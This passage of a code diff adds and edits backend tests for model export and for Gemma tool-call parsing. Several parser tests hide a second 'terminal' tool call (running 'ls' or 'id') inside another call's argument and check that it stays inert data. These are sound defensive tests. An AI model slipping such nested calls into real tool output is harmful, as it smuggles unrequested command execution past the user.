+def _patch(monkeypatch, *, torch: bool, device, apple: bool):
+    monkeypatch.setattr(hw, "_has_torch", lambda: torch)
+    monkeypatch.setattr(hw, "get_device", lambda: device)
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: apple)
+
+
+def test_cpu_with_torch_unsupported_no_accelerator(monkeypatch):
+    # PyTorch present but no accelerator: unsupported with no_accelerator, not "PyTorch missing".
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.CPU, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is False
+    assert cap["export_unsupported_reason"] == "no_accelerator"
+    assert "accelerator" in cap["export_unsupported_message"].lower()
+    # Must NOT tell a user with PyTorch installed to install PyTorch.
+    assert "PyTorch is not installed" not in cap["export_unsupported_message"]
+
+
+def test_cuda_with_torch_supports_export(monkeypatch):
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.CUDA, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is True
+    assert cap["export_unsupported_reason"] is None
+    assert cap["export_unsupported_message"] is None
+
+
+def test_xpu_with_torch_supports_export(monkeypatch):
+    _patch(monkeypatch, torch = True, device = hw.DeviceType.XPU, apple = False)
+    assert hw.export_capability()["export_supported"] is True
+
+
+def test_mlx_without_torch_supports_export(monkeypatch):
+    # Apple Silicon MLX exports without PyTorch.
+    _patch(monkeypatch, torch = False, device = hw.DeviceType.MLX, apple = True)
+    assert hw.export_capability()["export_supported"] is True
+
+
+def test_no_torch_non_apple_reports_pytorch_missing(monkeypatch):
+    _patch(monkeypatch, torch = False, device = hw.DeviceType.CPU, apple = False)
+    cap = hw.export_capability()
+    assert cap["export_supported"] is False
+    assert cap["export_unsupported_reason"] == "pytorch_not_installed"
+    assert "PyTorch is not installed" in cap["export_unsupported_message"]
+
+
+def test_apple_without_mlx_reports_mlx_unavailable(monkeypatch):
+    # Apple + CPU means the MLX stack is missing; reason is mlx_unavailable regardless of torch.
+    for has_torch in (False, True):
+        _patch(monkeypatch, torch = has_torch, device = hw.DeviceType.CPU, apple = True)
+        cap = hw.export_capability()
+        assert cap["export_supported"] is False
+        assert cap["export_unsupported_reason"] == "mlx_unavailable"
+        assert "MLX" in cap["export_unsupported_message"]
+
+
+# -- import safety without PyTorch --------------------------------------------------------------
+
+
+def test_export_backend_imports_without_torch(monkeypatch):
+    """core/export/export.py must import on a --no-torch host (unsloth/torch blocked) and return a
+    clean 'PyTorch is not installed' message from an export attempt, not crash at import."""
+    import importlib
+    import sys
+
+    real_import = builtins.__import__
+
+    def blocking_import(name, *args, **kwargs):
+        top = name.split(".")[0]
+        if top in {"torch", "unsloth"}:
+            raise ImportError(f"simulated: {top} not installed")
+        return real_import(name, *args, **kwargs)
+
+    # Drop any preloaded copies so the guarded import paths re-run under the block.
+    for m in [k for k in sys.modules if k.split(".")[0] in {"torch", "unsloth"}]:
+        monkeypatch.delitem(sys.modules, m, raising = False)
+    monkeypatch.delitem(sys.modules, "core.export.export", raising = False)
+    monkeypatch.setattr(builtins, "__import__", blocking_import)
+
+    mod = importlib.import_module("core.export.export")
+    assert mod._IS_MLX is False
+    assert mod.torch is None
+    assert mod._export_runtime_available() is False
+
+    be = mod.ExportBackend.__new__(mod.ExportBackend)
+    be.current_model = None
+    be.current_tokenizer = None
+    be.is_peft = False
+    be._audio_type = None
+    ok, message, out = be.export_merged_model("/tmp/does-not-matter")
+    assert ok is False
+    assert "PyTorch is not installed" in message
+
+
+# -- endpoint / backend wiring (ast) ------------------------------------------------------------
+
+
+def test_main_endpoints_expose_export_capability():
+    m = _src("main.py")
+    # Both system endpoints spread export_capability() into their response.
+    assert m.count("**export_capability()") >= 2
+    assert '"/api/system/hardware"' in m and '"/api/system"' in m
+
+
+def test_routes_guard_mutating_endpoints():
+    r = _src("routes/export.py")
+    assert "def _ensure_export_supported()" in r
+    # load + all four export endpoints call the guard.
+    assert r.count("_ensure_export_supported()") >= 6
+
+
+def test_export_methods_check_runtime():
+    e = _src("core/export/export.py")
+    assert "def _export_runtime_available()" in e
+    # Each export method returns the clear message when the runtime is missing.
+    assert e.count("_export_runtime_available()") >= 5
+    assert "_PYTORCH_MISSING_MESSAGE" in e
+
+
+def test_export_capability_reads_no_torch_helper():
+    cap = _func_src("utils/hardware/hardware.py", "export_capability")
+    assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap
diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py
index d914ff8651..f499390add 100644
--- a/studio/backend/tests/test_export_imatrix_compressed.py
+++ b/studio/backend/tests/test_export_imatrix_compressed.py
@@ -54,8 +54,7 @@ def test_merged_request_rejects_unknown_format():
 
 
 def test_export_gguf_threads_imatrix_to_save_and_push():
-    # imatrix_file must reach both save_pretrained_gguf and push_to_hub_gguf, but only via the
-    # conditional **imatrix_kw so a no-imatrix export never sends an unsupported keyword.
+    # imatrix_file must reach both save paths, but only via the conditional **imatrix_kw.
     g = _func_src("core/export/export.py", "export_gguf")
     assert g.count("**imatrix_kw") >= 2
     assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g
@@ -109,8 +108,139 @@ def test_export_merged_maps_compressed_to_save_method():
 
 
 def test_compressed_hub_push_uploads_local_dir_without_recompressing():
-    # A compressed Hub push must upload the already-built output_path, not re-run compression
-    # via push_to_hub_merged (which would compress a second time).
+    # A compressed / torchao Hub push must upload the built output_path, not re-quantize.
     m = _func_src("core/export/export.py", "export_merged_model")
-    assert "elif is_compressed and output_path and Path(output_path).is_dir():" in m
+    assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m
     assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m
+
+
+# -- torchao portable FP8/INT8 (device-agnostic, no NVIDIA GPU) ---------------------------------
+
+
+def test_merged_request_accepts_torchao_aliases():
+    # Portable torchao aliases pass through compressed_method (validated in the backend registry).
+    for alias in ("torchao_fp8", "torchao_int8"):
+        r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
+        assert r.compressed_method == alias
+
+
+def test_export_merged_routes_torchao_and_skips_nvidia_guard():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    # torchao is classified separately and its suffix comes from the torchao normalizer.
+    assert "_normalize_torchao_method(compressed_alias)" in m
+    assert "is_torchao = torchao_info is not None" in m
+    assert "is_compressed = compressed_alias is not None and not is_torchao" in m
+    # The NVIDIA guard applies to compressed-tensors only, not torchao.
+    assert "_has_nvidia_gpu()" in m
+    # torchao routes through save_method just like compressed.
+    assert "elif is_compressed or is_torchao:" in m
+
+
+def test_export_merged_nvidia_guard_present():
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "requires an NVIDIA GPU" in m
+
+
+def test_has_nvidia_gpu_helper_reads_hardware_module():
+    h = _func_src("core/export/export.py", "_has_nvidia_gpu")
+    assert "DeviceType.CUDA" in h and "IS_ROCM" in h
+
+
+def test_export_merged_relaxes_is_peft_guard():
+    # Non-PEFT (Local/HF base) models can now export merged; the old hard block must be gone.
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "Use 'Export Base Model' instead." not in m
+
+
+def test_unsloth_save_has_torchao_registry_and_path():
+    # Read unsloth/save.py as text (not import) so this runs in the CPU suite without unsloth.
+    save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8")
+    assert "def _normalize_torchao_method" in save_py
+    assert "def _unsloth_save_torchao" in save_py
+    assert "TORCHAO_EXPORT_SCHEMES = {" in save_py
+    # torchao aliases must map to (scheme, suffix) so the backend routes to the torchao path.
+    assert '"torchao_fp8": ("fp8", "torchao-fp8")' in save_py
+    assert '"torchao_int8": ("int8", "torchao-int8")' in save_py
+
+
+# -- GGUF multi-quant list ----------------------------------------------------------------------
+
+
+def test_gguf_request_accepts_list_of_quants():
+    r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"])
+    assert r.quantization_method == ["Q4_K_M", "Q8_0"]
+    r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M")
+    assert r2.quantization_method == "Q4_K_M"
+
+
+def test_export_gguf_normalizes_quant_list():
+    g = _func_src("core/export/export.py", "export_gguf")
+    assert "isinstance(quantization_method, (list, tuple))" in g
+    assert "quant_methods" in g
+
+
+# -- GGUF LoRA adapter export -------------------------------------------------------------------
+
+
+def test_lora_request_has_gguf_fields():
+    from models.export import ExportLoRAAdapterRequest
+
+    r = ExportLoRAAdapterRequest(save_directory = "/tmp/x")
+    assert r.gguf is False and r.gguf_outtype == "q8_0"
+    r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0")
+    assert r2.gguf is True and r2.gguf_outtype == "q8_0"
+
+
+def test_lora_request_rejects_bad_outtype():
+    from models.export import ExportLoRAAdapterRequest
+    with pytest.raises(ValidationError):
+        ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf_outtype = "q3_k")
+
+
+def test_export_lora_wires_gguf_save_method():
+    la = _func_src("core/export/export.py", "export_lora_adapter")
+    assert 'save_method = "lora"' in la
+    assert "quantization_method = outtype" in la
+
+
+def test_orchestrator_and_worker_pass_lora_gguf():
+    o = _func_src("core/export/orchestrator.py", "export_lora_adapter")
+    assert '"gguf": gguf' in o and '"gguf_outtype": gguf_outtype' in o
+    w = _src("core/export/worker.py")
+    assert 'gguf = cmd.get("gguf", False)' in w
+    assert 'gguf_outtype = cmd.get("gguf_outtype", "q8_0")' in w
+
+
+def test_route_passes_lora_gguf():
+    r = _src("routes/export.py")
+    assert "gguf = request.gguf" in r and "gguf_outtype = request.gguf_outtype" in r
+
+
+# -- compressed_method ("all formats" dropdown) -------------------------------------------------
+
+
+def test_merged_request_accepts_compressed_method():
+    # Defaults to None; any scheme alias is accepted (validation happens in the backend registry).
+    assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None
+    for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"):
+        r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias)
+        assert r.compressed_method == alias
+
+
+def test_export_merged_resolves_alias_via_registry():
+    # The scheme + suffix must come from unsloth.save's registry normalizer, not a hardcoded dict.
+    m = _func_src("core/export/export.py", "export_merged_model")
+    assert "compressed_method" in m
+    assert "_normalize_compressed_method(compressed_alias)" in m
+    assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m
+    assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m
+
+
+def test_orchestrator_and_worker_pass_compressed_method():
+    o = _func_src("core/export/orchestrator.py", "export_merged_model")
+    assert "compressed_method" in o and '"compressed_method": compressed_method' in o
+    assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py")
+
+
+def test_route_passes_compressed_method():
+    assert "compressed_method = request.compressed_method" in _src("routes/export.py")
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
index 8df8d37a52..e3055d2127 100644
--- a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -1,15 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Edge cases in Gemma-native tool-call parsing.
-
-Covers two failure modes:
-  1. A bare (unquoted) string argument that contains a comma, e.g.
-     ``location:New York, NY`` -- the comma must not be treated as the next
-     key boundary, or the whole call is dropped.
-  2. A tool-call marker that appears INSIDE another call's argument string is
-     data, not a real call, so it must not be promoted to a second tool call.
-"""
+"""Gemma-native tool-call parsing edge cases: commas inside bare string values,
+and markers inside another call's argument data staying data."""
 
 from __future__ import annotations
 
@@ -21,7 +14,11 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.tool_call_parser import parse_tool_calls_from_text
+from core.inference.tool_call_parser import (
+    _gemma_parse_value,
+    parse_tool_calls_from_text,
+)
+from core.tool_healing import strip_tool_call_markup
 
 
 def _args(call: dict) -> dict:
@@ -40,14 +37,22 @@ def test_bare_string_argument_with_comma_is_kept():
 def test_normal_multi_key_arguments_still_split():
     calls = parse_tool_calls_from_text('<|tool_call>call:f{a:1,b:hello,c:"x,y"}<tool_call|>')
     assert len(calls) == 1, calls
-    # Numbers stay numeric, bare strings get quoted, an explicit quoted comma
-    # stays inside its value.
     assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"}
 
 
+def test_empty_bare_value_becomes_empty_string_not_dropped():
+    # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON and dropped the call).
+    calls = parse_tool_calls_from_text("<|tool_call>call:search{query:,unit:celsius}<tool_call|>")
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"query": "", "unit": "celsius"}
+
+    only = parse_tool_calls_from_text("<|tool_call>call:get{q:}<tool_call|>")
+    assert len(only) == 1, only
+    assert _args(only[0]) == {"q": ""}
+
+
 def test_bare_value_with_timestamps_after_comma_is_kept():
-    # A comma followed by digits-then-colon (a timestamp/ratio) is value text,
-    # not a new key, so the whole query must be preserved as one argument.
+    # A comma before digits-then-colon (timestamp/ratio) is value text, not a key.
     calls = parse_tool_calls_from_text(
         "<|tool_call>call:remind{query:meet at 10:00, 11:00 tomorrow,priority:high}<tool_call|>"
     )
@@ -55,9 +60,16 @@ def test_bare_value_with_timestamps_after_comma_is_kept():
     assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow", "priority": "high"}
 
 
+def test_wrapperless_bare_value_with_timestamps_after_comma_is_kept():
+    # The wrapper-less Gemma form (no <|tool_call> markers) goes through the
+    # _gemma_parse_stripped_body scanner and its _GEMMA_KEY_RE.
+    calls = parse_tool_calls_from_text("call:web_search{query:meet at 10:00, 11:00 tomorrow}")
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert _args(calls[0]) == {"query": "meet at 10:00, 11:00 tomorrow"}
+
+
 def test_marker_inside_json_argument_is_not_a_second_call():
-    # A python call whose `code` argument contains a Gemma marker string. The
-    # marker is data and must not execute as a second `terminal` call.
     content = (
         '<tool_call>{"name":"python","arguments":{"code":'
         '"x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"}}</tool_call>'
@@ -75,8 +87,6 @@ def test_two_separate_gemma_calls_both_parse():
 
 
 def test_mixed_format_calls_preserve_document_order():
-    # A Gemma-native call precedes a JSON-format call in the text; tools execute
-    # in returned order, so `create` must come before `read`.
     content = (
         "<|tool_call>call:create{path:a}<tool_call|> then "
         '<tool_call>{"name":"read","arguments":{"path":"a"}}</tool_call>'
@@ -86,8 +96,6 @@ def test_mixed_format_calls_preserve_document_order():
 
 
 def test_json_marker_inside_gemma_argument_is_not_a_second_call():
-    # The reverse of the JSON-outer case: a JSON-style marker inside a Gemma
-    # call's quoted argument is code text, not a second `terminal` call.
     content = (
         '<|tool_call>call:python{code:<|"|>'
         'print(<tool_call>{"name":"terminal","arguments":{"command":"ls"}}</tool_call>)'
@@ -98,18 +106,14 @@ def test_json_marker_inside_gemma_argument_is_not_a_second_call():
 
 
 def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call():
-    # An UNQUOTED Gemma value containing a literal marker: the outer object fails
-    # to normalize (the inner braces/marker break the JSON), but the inner marker
-    # is nested in the outer candidate span, so it must not be promoted to a
-    # standalone `terminal` call. The safe outcome is no executed tool call.
+    # An UNQUOTED Gemma value containing a literal marker: the marker is nested in the outer
+    # candidate span, so it must not be promoted to a standalone `terminal` call (no tool call).
     content = "<|tool_call>call:python{code:<|tool_call>call:terminal{command:ls}<tool_call|>}<tool_call|>"
     calls = parse_tool_calls_from_text(content)
     assert "terminal" not in [c["function"]["name"] for c in calls], calls
 
 
 def test_bare_string_array_argument_is_quoted():
-    # Gemma may emit an array of bare strings without per-element quotes; they
-    # must be quoted so the call is not dropped.
     calls = parse_tool_calls_from_text("<|tool_call>call:label{labels:[bug,ui]}<tool_call|>")
     assert len(calls) == 1, calls
     assert _args(calls[0]) == {"labels": ["bug", "ui"]}
@@ -123,8 +127,6 @@ def test_array_keeps_numbers_and_quoted_elements():
 
 
 def test_array_of_objects_is_normalised():
-    # Arrays of objects are a common tool-schema shape; their (unquoted) keys and
-    # bare values must be normalised too, not left verbatim, or the call drops.
     calls = parse_tool_calls_from_text(
         "<|tool_call>call:batch{items:[{path:a,mode:r},{path:b,mode:w}]}<tool_call|>"
     )
@@ -138,9 +140,6 @@ def test_nested_array_elements_are_normalised():
 
 
 def test_gemma_marker_inside_xml_parameter_is_not_a_second_call():
-    # An XML-style <function=...> call whose <parameter=code> value contains a
-    # Gemma marker: the marker is the parameter's data, not a separate terminal
-    # call, so only the python call must be returned.
     content = (
         "<tool_call><function=python><parameter=code>"
         "x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"
@@ -159,3 +158,254 @@ def test_json_marker_inside_xml_parameter_is_not_a_second_call():
     )
     calls = parse_tool_calls_from_text(content)
     assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_unclosed_think_literal_inside_tool_argument_does_not_hide_later_call():
+    # A literal <think> inside a completed call's arguments is argument data; both calls must parse.
+    text = '[TOOL_CALLS]a{"x":"literal <think> marker"} b[ARGS]{"y":2}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["a", "b"], calls
+
+
+def test_real_think_block_with_rehearsal_inside_still_skips_only_the_rehearsal():
+    # A genuine reasoning block still hides its rehearsal while a real call after it parses.
+    text = '<think>web_search[ARGS]{"q":"draft"}</think>real[ARGS]{"q":"go"}'
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["real"], calls
+
+
+def test_wrapperless_nested_object_argument_is_parsed():
+    # skip_special_tokens stream: wrapper and <|"|> markers stripped, so a nested object arrives bare.
+    calls = parse_tool_calls_from_text("call:f{loc:{city:NYC},n:3}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"loc": {"city": "NYC"}, "n": 3}
+
+
+def test_wrapperless_array_argument_is_parsed():
+    calls = parse_tool_calls_from_text("call:label{labels:[bug,ui],n:2}")
+    assert len(calls) == 1
+    assert _args(calls[0]) == {"labels": ["bug", "ui"], "n": 2}
+
+
+def test_wrapperless_deeply_nested_object_and_array_are_preserved():
+    # The single-pass parser must keep multi-level nesting (objects inside
+    # objects, arrays inside arrays) intact, not flatten or drop it.
+    calls = parse_tool_calls_from_text(
+        "call:f{loc:{city:NYC,geo:{lat:1,lng:2}},tags:[a,b,[c,d]],n:3}"
+    )
+    assert len(calls) == 1
+    assert _args(calls[0]) == {
+        "loc": {"city": "NYC", "geo": {"lat": 1, "lng": 2}},
+        "tags": ["a", "b", ["c", "d"]],
+        "n": 3,
+    }
+
+
+def test_gemma_parse_array_advances_on_stray_brace():
+    # Regression: a stray '}' / ']' / ',' where an array element is expected must
+    # not stall _gemma_parse_value at the same index (it looped forever before).
+    from core.inference.tool_call_parser import _gemma_parse_array
+
+    items, end, closed = _gemma_parse_array("[a,}]", 0)
+    assert end == 5 and closed is True  # consumed through the closing ']'
+    assert items[0] == "a"
+
+
+def test_gemma_close_marker_inside_quoted_arg_is_not_leaked_when_stripping():
+    # Parse keeps the quoted close marker as data; strip removes the whole span.
+    text = '<|tool_call>call:python{code:<|"|>print("<tool_call|>")<|"|>}<tool_call|>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"code": 'print("<tool_call|>")'}
+    assert strip_tool_call_markup("before " + text + " after") == "before  after"
+    assert strip_tool_call_markup("before " + text + " after", final = True) == "before  after"
+
+
+def test_nested_xml_in_malformed_gemma_call_does_not_execute():
+    # The failed Gemma candidate's span still covers its nested <function=>.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal><parameter=command>id"
+        "</parameter></function></tool_call>, broken:{x}}<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_unbalanced_gemma_call_with_xml_does_not_execute():
+    # Unclosed braces cover to EOF, so the trailing <function=> is excluded.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal>"
+        "<parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_standalone_function_xml_still_parses():
+    text = "<function=terminal><parameter=command>id</parameter></function>"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_xml_between_braces_and_close_marker_does_not_execute():
+    # Coverage runs to the close marker, so <function=> in the gap is data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}<function=terminal>"
+        "<parameter=command>id</parameter></function><tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_balanced_inner_call_inside_unclosed_outer_does_not_execute():
+    text = "<|tool_call>call:outer{code:<|tool_call>call:terminal{command:id}<tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_preserves_text_after_malformed_gemma_close():
+    # Junk before the close is a malformed span: strip through it, keep the tail.
+    text = "pre <|tool_call>call:t{a:1} note <tool_call|> post"
+    assert strip_tool_call_markup(text) == "pre  post"
+    assert strip_tool_call_markup(text, final = True) == "pre  post"
+
+
+def test_malformed_closed_gemma_span_is_stripped():
+    assert (
+        strip_tool_call_markup('before <|tool_call>{"name":"x"}<tool_call|> after')
+        == "before  after"
+    )
+
+
+def test_valid_call_after_missing_close_is_recovered():
+    # A close-less call covers only its braces, so the later call is recovered.
+    text = "<|tool_call>call:a{x:1} <|tool_call>call:b{y:2}<tool_call|>"
+    names_inc = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = True)
+    ]
+    assert "b" in names_inc, names_inc
+    names_strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert names_strict == ["b"], names_strict
+
+
+def test_strip_non_final_keeps_incomplete_gemma_block():
+    text = "before <|tool_call>call:t{"
+    assert strip_tool_call_markup(text) == text
+    assert strip_tool_call_markup(text, final = True) == "before"
+
+
+def test_json_call_between_gemma_braces_and_close_does_not_execute():
+    # A JSON call between the outer's braces and its close is covered data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}"
+        '<tool_call>{"name":"terminal","arguments":{"command":"id"}}</tool_call>'
+        "<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_gemma_call_between_gemma_braces_and_close_does_not_execute():
+    # Same escape with a Gemma-native inner marker.
+    text = "<|tool_call>call:outer{broken:{x}}<|tool_call>call:terminal{command:id}<tool_call|><tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_final_keeps_text_after_closed_xml_with_inner_gemma_opener():
+    # The to-EOF Gemma sweep must not eat visible text after </function>.
+    text = (
+        'before <function=python><parameter=code>print("<|tool_call>")</parameter></function> after'
+    )
+    assert strip_tool_call_markup(text, final = True) == "before  after"
+    assert strip_tool_call_markup(text) == "before  after"
+
+
+def test_strip_final_keeps_text_after_closed_block_with_call_form_gemma_opener():
+    # A call-form Gemma opener quoted in a closed block must not truncate it.
+    xml = "<function=python><parameter=code><|tool_call>call:t{</parameter></function>"
+    json_block = (
+        '<tool_call>{"name":"python","arguments":{"code":"<|tool_call>call:t{"}}</tool_call>'
+    )
+    for block in (xml, json_block):
+        text = "before " + block + " after"
+        assert strip_tool_call_markup(text, final = True) == "before  after", block
+        assert strip_tool_call_markup(text) == "before  after", block
+
+
+def test_function_sibling_after_close_less_gemma_marker_is_recovered():
+    # The close-less marker covers only its braces; the XML sibling is recovered.
+    text = (
+        "<|tool_call>call:bad{broken:{x}} "
+        "<function=terminal><parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered():
+    # A close token quoted in the later call must not extend the earlier
+    # close-less marker's coverage over that call.
+    gemma = '<|tool_call>call:a{x:1} <|tool_call>call:b{note:<|"|></tool_call><|"|>}<tool_call|>'
+    names = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(gemma, allow_incomplete = False)
+    ]
+    assert names == ["b"], names
+    json_text = (
+        '<tool_call>{"name":"a","arguments":{}} '
+        '<tool_call>{"name":"b","arguments":{"x":"</tool_call>"}}</tool_call>'
+    )
+    names_j = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(json_text, allow_incomplete = False)
+    ]
+    assert "b" in names_j, names_j
+
+
+def test_gemma_parse_value_always_advances_on_stray_delimiter():
+    # A stray delimiter (`,`, `}`, `]`) at the primitive position must still advance the
+    # index by at least one, or a caller looping on it spins forever at 100% CPU (DoS).
+    for delim in (",", "}", "]"):
+        text = delim + "rest"
+        value, nxt, _explicit = _gemma_parse_value(text, 0)
+        assert nxt > 0, (delim, value, nxt)
+
+
+def test_malformed_gemma_array_does_not_hang():
+    # ``[},]`` puts a stray ``}`` at the primitive position inside a list body.
+    # On the buggy parser this hangs the server; guard with a wall-clock timeout
+    # so the regression fails loudly instead of blocking CI forever.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:[},]}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed array input"
+
+
+def test_malformed_gemma_mapping_value_does_not_hang():
+    # A stray ``}`` where a mapping value is expected must also terminate.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:}},b:1}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed mapping input"
diff --git a/studio/backend/tests/test_gguf_load_cache_reuse.py b/studio/backend/tests/test_gguf_load_cache_reuse.py
new file mode 100644
index 0000000000..15d91cd324
--- /dev/null
+++ b/studio/backend/tests/test_gguf_load_cache_reuse.py
@@ -0,0 +1,740 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for cached GGUF reuse and load/download exclusion.
+
+No GPU, network, or subprocesses are required.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import sys
+import threading
+import types as _types
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub optional dependencies before importing the modules under test.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+_structlog_stub = _types.ModuleType("structlog")
+sys.modules.setdefault("structlog", _structlog_stub)
+
+try:
+    import httpx  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc_name in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+        "HTTPStatusError",
+    ):
+        setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Request = type("Request", (), {})
+
+    class _FakeTimeout:
+        def __init__(self, *a, **kw):
+            pass
+
+    _httpx_stub.Timeout = _FakeTimeout
+    _httpx_stub.Client = type(
+        "Client",
+        (),
+        {
+            "__init__": lambda self, **kw: None,
+            "__enter__": lambda self: self,
+            "__exit__": lambda self, *a: None,
+        },
+    )
+    sys.modules.setdefault("httpx", _httpx_stub)
+
+
+from huggingface_hub import constants as hf_constants
+
+from core.inference.llama_cpp import (
+    LlamaCppBackend,
+    cached_gguf_for_load,
+    gguf_load_in_flight,
+    hf_gguf_load_in_flight,
+)
+
+
+REPO = "unsloth/gemma-test-GGUF"
+VARIANT = "UD-Q4_K_XL"
+MAIN = f"gemma-test-{VARIANT}.gguf"
+
+
+def _build_cache(
+    root: Path,
+    repo_id: str,
+    files: dict[str, int],
+    *,
+    snapshot_sha: str = "a" * 40,
+) -> Path:
+    """Create ``$root/models--<repo>/snapshots/<sha>/<rel>`` for each entry."""
+    repo_dir = root / f"models--{repo_id.replace('/', '--')}"
+    (repo_dir / "blobs").mkdir(parents = True, exist_ok = True)
+    snap = repo_dir / "snapshots" / snapshot_sha
+    snap.mkdir(parents = True, exist_ok = True)
